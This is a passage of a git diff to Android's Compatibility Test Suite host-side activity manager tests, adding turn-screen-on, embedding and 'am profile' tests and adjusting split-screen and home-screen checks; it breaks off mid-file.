diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
index b591589..1456d22 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceServicesTestSecondApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
index 8d5c7a0..53aa2d4 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
@@ -19,9 +19,16 @@
package="android.server.cts.second">
<application>
- <activity android:name=".SecondActivity"
- android:resizeableActivity="true"
- android:exported="true" />
+ <activity
+ android:name=".SecondActivity"
+ android:resizeableActivity="true"
+ android:allowEmbedded="true"
+ android:exported="true" />
+ <activity
+ android:name=".SecondActivityNoEmbedding"
+ android:resizeableActivity="true"
+ android:allowEmbedded="false"
+ android:exported="true" />
<receiver
android:name=".LaunchBroadcastReceiver"
android:enabled="true"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
index 0db6b19..a8ebb86 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
@@ -43,7 +43,7 @@
}
ActivityOptions options = ActivityOptions.makeBasic();
- int displayId = extras.getInt("target_display", -1);
+ int displayId = extras.getInt("display_id", -1);
if (displayId != -1) {
options.setLaunchDisplayId(displayId);
newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
@@ -54,7 +54,7 @@
try {
context.startActivity(newIntent, options.toBundle());
} catch (SecurityException e) {
- Log.i(TAG, "SecurityException launching activity");
+ Log.e(TAG, "SecurityException launching activity");
}
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
new file mode 100644
index 0000000..543e008
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.Activity;
+
+public class SecondActivityNoEmbedding extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
index 4e71662..733f7a9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceServicesTestThirdApp
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
index ff4b987..aed24c7 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
@@ -21,6 +21,7 @@
<application>
<activity android:name=".ThirdActivity"
android:resizeableActivity="true"
+ android:allowEmbedded="true"
android:exported="true" />
</application>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
index c647be4..c51f24a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
@@ -17,6 +17,7 @@
package android.server.cts;
import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.StateLogger.logE;
import android.platform.test.annotations.Presubmit;
@@ -26,6 +27,7 @@
import static com.android.ddmlib.Log.LogLevel.INFO;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
/**
* Build: mmma -j32 cts/hostsidetests/services
@@ -40,8 +42,20 @@
private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
- private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+ private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+ private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
+ private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
+ private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
+ private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
+ private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
+ "TurnScreenOnWithRelayoutActivity";
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ tearDownLockCredentials();
+ }
public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
if (!supportsPip()) {
@@ -163,7 +177,9 @@
private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
// Make sure home activity is visible.
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch an activity that calls "moveTaskToBack" to finish itself.
launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
@@ -180,8 +196,10 @@
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
// Home must be visible.
- mAmWmState.waitForHomeActivityVisible(mDevice);
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.waitForHomeActivityVisible(mDevice);
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
}
/**
@@ -191,7 +209,9 @@
public void testReorderToFrontBackstack() throws Exception {
// Start with home on top
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity to the foreground
launchActivity(LAUNCHING_ACTIVITY);
@@ -223,7 +243,9 @@
public void testReorderToFrontChangingStack() throws Exception {
// Start with home on top
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity to the foreground
launchActivity(LAUNCHING_ACTIVITY);
@@ -234,7 +256,9 @@
// Return home
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity from the alternate launching activity with reorder to
// front.
@@ -260,6 +284,10 @@
* above becomes visible and does not idle.
*/
public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+ if (noHomeScreen()) {
+ return;
+ }
+
// Start with home on top
launchHomeActivity();
@@ -273,4 +301,104 @@
mAmWmState.waitForHomeActivityVisible(mDevice);
mAmWmState.assertHomeActivityVisible(true);
}
+
+ public void testTurnScreenOnAttrNoLockScreen() throws Exception {
+ wakeUpAndRemoveLock();
+ sleepDevice();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnAttrWithLockScreen() throws Exception {
+ if (!isHandheld()) {
+ // This test requires the ability to have a lock screen.
+ return;
+ }
+
+ setLockCredential();
+ sleepDevice();
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+ assertFalse(isDisplayOn());
+ assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnShowOnLockAttr() throws Exception {
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities(mDevice);
+ final String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnAttrRemove() throws Exception {
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities(mDevice);
+ String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] {
+ TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+
+ sleepDevice();
+ mAmWmState.waitForAllStoppedActivities(mDevice);
+ logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+ assertFalse(isDisplayOn());
+ assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnSingleTask() throws Exception {
+ sleepDevice();
+ String logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+
+ sleepDevice();
+ logSeparator = clearLogcat();
+ launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+ assertTrue(isDisplayOn());
+ assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+ }
+
+ public void testTurnScreenOnActivity_withRelayout() throws Exception {
+ sleepDevice();
+ launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
+ mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
+ mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
+
+ String logSeparator = clearLogcat();
+ sleepDevice();
+ mAmWmState.waitFor("Waiting for stopped state", () ->
+ lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+
+ // Ensure there was an actual stop if the waitFor timed out.
+ assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+ assertFalse(isDisplayOn());
+ }
+
+ private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
+ try {
+ ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+ logSeparator);
+ return lifecycleCounts.mStopCount > 0;
+ } catch (DeviceNotAvailableException e) {
+ logE(e.toString());
+ return false;
+ }
+ }
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
new file mode 100644
index 0000000..2951d62
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmProfileTests.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import com.google.common.io.Files;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.util.FileUtil;
+
+import java.io.File;
+import java.lang.StringBuilder;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmProfileTests
+ *
+ * Please talk to Android Studio team first if you want to modify or delete these tests.
+ */
+public class ActivityManagerAmProfileTests extends ActivityManagerTestBase {
+
+ private static final String TEST_PACKAGE_NAME = "android.server.cts.debuggable";
+ private static final String TEST_ACTIVITY_NAME = "DebuggableAppActivity";
+ private static final String OUTPUT_FILE_PATH = "/data/local/tmp/profile.trace";
+ private static final String FIRST_WORD_NO_STREAMING = "*version\n";
+ private static final String FIRST_WORD_STREAMING = "SLOW"; // Magic word set by runtime.
+
+ private ITestDevice mDevice;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mDevice = getDevice();
+ setComponentName(TEST_PACKAGE_NAME);
+ }
+
+ /**
+ * Test am profile functionality with the following 3 configurable options:
+ * starting the activity before start profiling? yes;
+ * sampling-based profiling? no;
+ * using streaming output mode? no.
+ */
+ public void testAmProfileStartNoSamplingNoStreaming() throws Exception {
+ // am profile start ... , and the same to the following 3 test methods.
+ testProfile(true, false, false);
+ }
+
+ /**
+ * The following tests are similar to testAmProfileStartNoSamplingNoStreaming(),
+ * only different in the three configuration options.
+ */
+ public void testAmProfileStartNoSamplingStreaming() throws Exception {
+ testProfile(true, false, true);
+ }
+ public void testAmProfileStartSamplingNoStreaming() throws Exception {
+ testProfile(true, true, false);
+ }
+ public void testAmProfileStartSamplingStreaming() throws Exception {
+ testProfile(true, true, true);
+ }
+ public void testAmStartStartProfilerNoSamplingNoStreaming() throws Exception {
+ // am start --start-profiler ..., and the same to the following 3 test methods.
+ testProfile(false, false, false);
+ }
+ public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
+ testProfile(false, false, true);
+ }
+ public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
+ testProfile(false, true, false);
+ }
+ public void testAmStartStartProfilerSamplingStreaming() throws Exception {
+ testProfile(false, true, true);
+ }
+
+ private void testProfile(boolean startActivityFirst,
+ boolean sampling, boolean streaming) throws Exception {
+ if (startActivityFirst) {
+ launchActivity(TEST_ACTIVITY_NAME);
+ }
+
+ String cmd = getStartCmd(TEST_ACTIVITY_NAME, startActivityFirst, sampling, streaming);
+ executeShellCommand(cmd);
+ // Go to home screen and then warm start the activity to generate some interesting trace.
+ pressHomeButton();
+ launchActivity(TEST_ACTIVITY_NAME);
+
+ cmd = "am profile stop " + componentName;
+ executeShellCommand(cmd);
+ // Sleep for 0.1 second (100 milliseconds) so the generation of the profiling
+ // file is complete.
+ try {
+ Thread.sleep(300);
+ } catch (InterruptedException e) {
+ //ignored
+ }
+ verifyOutputFileFormat(streaming);
+ }
+
+ private String getStartCmd(String activityName, boolean activityAlreadyStarted,
+ boolean sampling, boolean streaming) {
+ StringBuilder builder = new StringBuilder("am");
+ if (activityAlreadyStarted) {
+ builder.append(" profile start");
+ } else {
+ builder.append(String.format(" start -n %s/.%s -W -S --start-profiler %s",
+ componentName, activityName, OUTPUT_FILE_PATH));
+ }
+ if (sampling) {
+ builder.append(" --sampling 1000");
+ }
+ if (streaming) {
+ builder.append(" --streaming");
+ }
+ if (activityAlreadyStarted) {
+ builder.append(String.format(" %s %s", componentName, OUTPUT_FILE_PATH));
+ } else {
+
+ }
+ return builder.toString();
+ }
+
+ private void verifyOutputFileFormat(boolean streaming) throws Exception {
+ String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
+ byte[] data = readFileOnClient(OUTPUT_FILE_PATH);
+ assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
+ String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+ assertTrue("Unexpected first word: '" + actualFirstWord + "'",
+ actualFirstWord.equals(expectedFirstWord));
+ // Clean up.
+ executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
+ }
+
+ private byte[] readFileOnClient(String clientPath) throws Exception {
+ assertTrue("File not found on client: " + clientPath,
+ mDevice.doesFileExist(clientPath));
+ File copyOnHost = File.createTempFile("host", "copy");
+ try {
+ executeAdbCommand("pull", clientPath, copyOnHost.getPath());
+ return Files.toByteArray(copyOnHost);
+ } finally {
+ FileUtil.deleteFile(copyOnHost);
+ }
+ }
+
+ private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
+ String output = mDevice.executeAdbCommand(command);
+ // "".split() returns { "" }, but we want an empty array
+ String[] lines = output.equals("") ? new String[0] : output.split("\n");
+ return lines;
+ }
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
old mode 100644
new mode 100755
index 9a66106..2e1ed8f
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -19,9 +19,13 @@
import android.platform.test.annotations.Presubmit;
+import android.server.cts.ActivityManagerState.ActivityStack;
+import android.server.cts.ActivityManagerState.ActivityTask;
import com.android.ddmlib.Log.LogLevel;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CddTest;
+
import java.awt.Rectangle;
import java.util.ArrayList;
import java.util.List;
@@ -41,7 +45,6 @@
private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
-
private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
@@ -81,7 +84,7 @@
* Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
* from docked state to fullscreen (reverse).
*/
- @Presubmit
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
@@ -122,7 +125,7 @@
* Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
* is in the docked stack.
*/
- @Presubmit
+ // TODO: Flaky, add to presubmit when b/63404575 is fixed.
public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
@@ -158,6 +161,7 @@
final String logSeparator = clearLogcat();
launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
.execute();
final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
@@ -167,26 +171,6 @@
}
private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
- // If an activity gets almost square frame,
- // resize docked stack to make sure the activity gets a non-square frame.
- Rectangle adjustedDockedBounds = new Rectangle();
- if (isInSplitMode(RESIZEABLE_ACTIVITY_NAME)) {
- final int appWidth = prevSizes.displayWidth;
- final int appHeight = prevSizes.displayHeight;
- final float aspectRatio = (appWidth > appHeight) ?
- appWidth / (float) appHeight : appHeight / (float) appWidth;
- if (aspectRatio < 1.1f) {
- final String logSeparator = clearLogcat();
- Rectangle dockBounds = mAmWmState.getAmState().getStackById(
- DOCKED_STACK_ID).getBounds();
- adjustedDockedBounds.setBounds(dockBounds.x, dockBounds.y,
- (int) (dockBounds.width * 0.5f), (int) (dockBounds.height * 0.7f));
- resizeDockedStack(adjustedDockedBounds.width, adjustedDockedBounds.height,
- adjustedDockedBounds.width, adjustedDockedBounds.height);
- prevSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME, logSeparator);
- }
- }
-
for (int rotation = 3; rotation >= 0; --rotation) {
final String logSeparator = clearLogcat();
final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
@@ -203,16 +187,6 @@
return;
}
- if (!adjustedDockedBounds.isEmpty()) {
- if (rotation == ROTATION_0 || rotation == ROTATION_180) {
- resizeDockedStack(adjustedDockedBounds.width, adjustedDockedBounds.height,
- adjustedDockedBounds.width, adjustedDockedBounds.height);
- } else {
- resizeDockedStack(adjustedDockedBounds.height, adjustedDockedBounds.width,
- adjustedDockedBounds.height, adjustedDockedBounds.width);
- }
- }
-
final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
assertSizesRotate(prevSizes, rotatedSizes);
@@ -220,17 +194,6 @@
}
}
- private boolean isInSplitMode(String activityName) throws Exception {
- mAmWmState.computeState(mDevice, new String[] { activityName });
- ActivityManagerState.ActivityTask task = mAmWmState.getAmState().getTaskByActivityName(
- activityName);
- return task != null && !task.isFullscreen() &&
- (task.mStackId == HOME_STACK_ID
- || task.mStackId == FULLSCREEN_WORKSPACE_STACK_ID
- || task.mStackId == DOCKED_STACK_ID
- || task.mStackId == RECENTS_STACK_ID);
- }
-
/**
* Tests when activity moved from fullscreen stack to docked and back. Activity will be
* relaunched twice and it should have same config as initial one.
@@ -335,6 +298,7 @@
/**
* Test that device handles consequent requested orientations and displays the activities.
*/
+ @CddTest(requirement="7.1.3/C-1-1")
@Presubmit
public void testFullscreenAppOrientationRequests() throws Exception {
if (!supportsRotation()) {
@@ -380,9 +344,9 @@
1 /* portrait */, initialReportedSizes.orientation);
logSeparator = clearLogcat();
- // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
- assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+
+ assertEquals("non-fullscreen activity requested landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
// TODO(b/36897968): uncomment once we can suppress unsupported configurations
@@ -392,24 +356,13 @@
// 1 /* portrait */, updatedReportedSizes.orientation);
}
-// TODO(b/38225467): Uncomment when SDK 27 is released.
-// public void testNonFullscreenActivityProhibited() throws Exception {
-// setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
-// launchActivity(TRANSLUCENT_ACTIVITY);
-// mAmWmState.assertNotResumedActivity(
-// "target SDK > 25 non-fullscreen activity should not reach onResume",
-// TRANSLUCENT_ACTIVITY);
-// }
-
- // TODO(b/38225467): rename to testLegacyNonFullscreenActivityPermitted
public void testNonFullscreenActivityPermitted() throws Exception {
- // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
setDeviceRotation(0);
launchActivity(TRANSLUCENT_ACTIVITY);
mAmWmState.assertResumedActivity(
- "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+ "target SDK non-fullscreen activity should be allowed to launch",
TRANSLUCENT_ACTIVITY);
assertEquals("non-fullscreen activity requested landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
@@ -440,7 +393,7 @@
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
// Verify that activity brought to front is in originally requested orientation.
- mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+ mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
assertEquals("Should return to app in landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
}
@@ -479,10 +432,6 @@
* Test that device doesn't change device orientation by app request while in multi-window.
*/
public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
- if(!supportsRotation()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
- return;
- }
if (!supportsSplitScreenMultiWindow()) {
CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
return;
@@ -507,6 +456,11 @@
*/
private void requestOrientationInSplitScreen(int orientation, String activity)
throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ return;
+ }
+
// Set initial orientation.
setDeviceRotation(orientation);
@@ -557,9 +511,7 @@
logSeparator = clearLogcat();
moveActivityToStack(activityName, DOCKED_STACK_ID);
final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
-
- // After activity configuration was changed twice it must report same size as original one.
- assertSizesAreSame(initialDockedSizes, finalDockedSizes);
+ assertSizesAreSane(fullscreenSizes, finalDockedSizes);
}
/**
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
index 80a8e5f..b736fa2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
@@ -16,7 +16,6 @@
package android.server.cts;
-import static android.server.cts.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
import static android.server.cts.ActivityManagerState.STATE_RESUMED;
/**
@@ -31,6 +30,7 @@
private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
private static final String DOCKED_ACTIVITY = "DockedActivity";
private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
+ private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
"LaunchAssistantActivityFromSession";
private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
@@ -39,30 +39,20 @@
private static final String EXTRA_ENTER_PIP = "enter_pip";
private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
- private static final String EXTRA_ASSISTANT_DISPLAY_ID = "assistant_display_id";
private static final String EXTRA_FINISH_SELF = "finish_self";
public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
"android.server.cts.TestActivity.finish_self";
- private static int mAssistantDisplayId;
-
- public void setUp() throws Exception {
- super.setUp();
- enableAssistant();
- launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK);
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
- ActivityManagerState.ActivityStack assistantStack
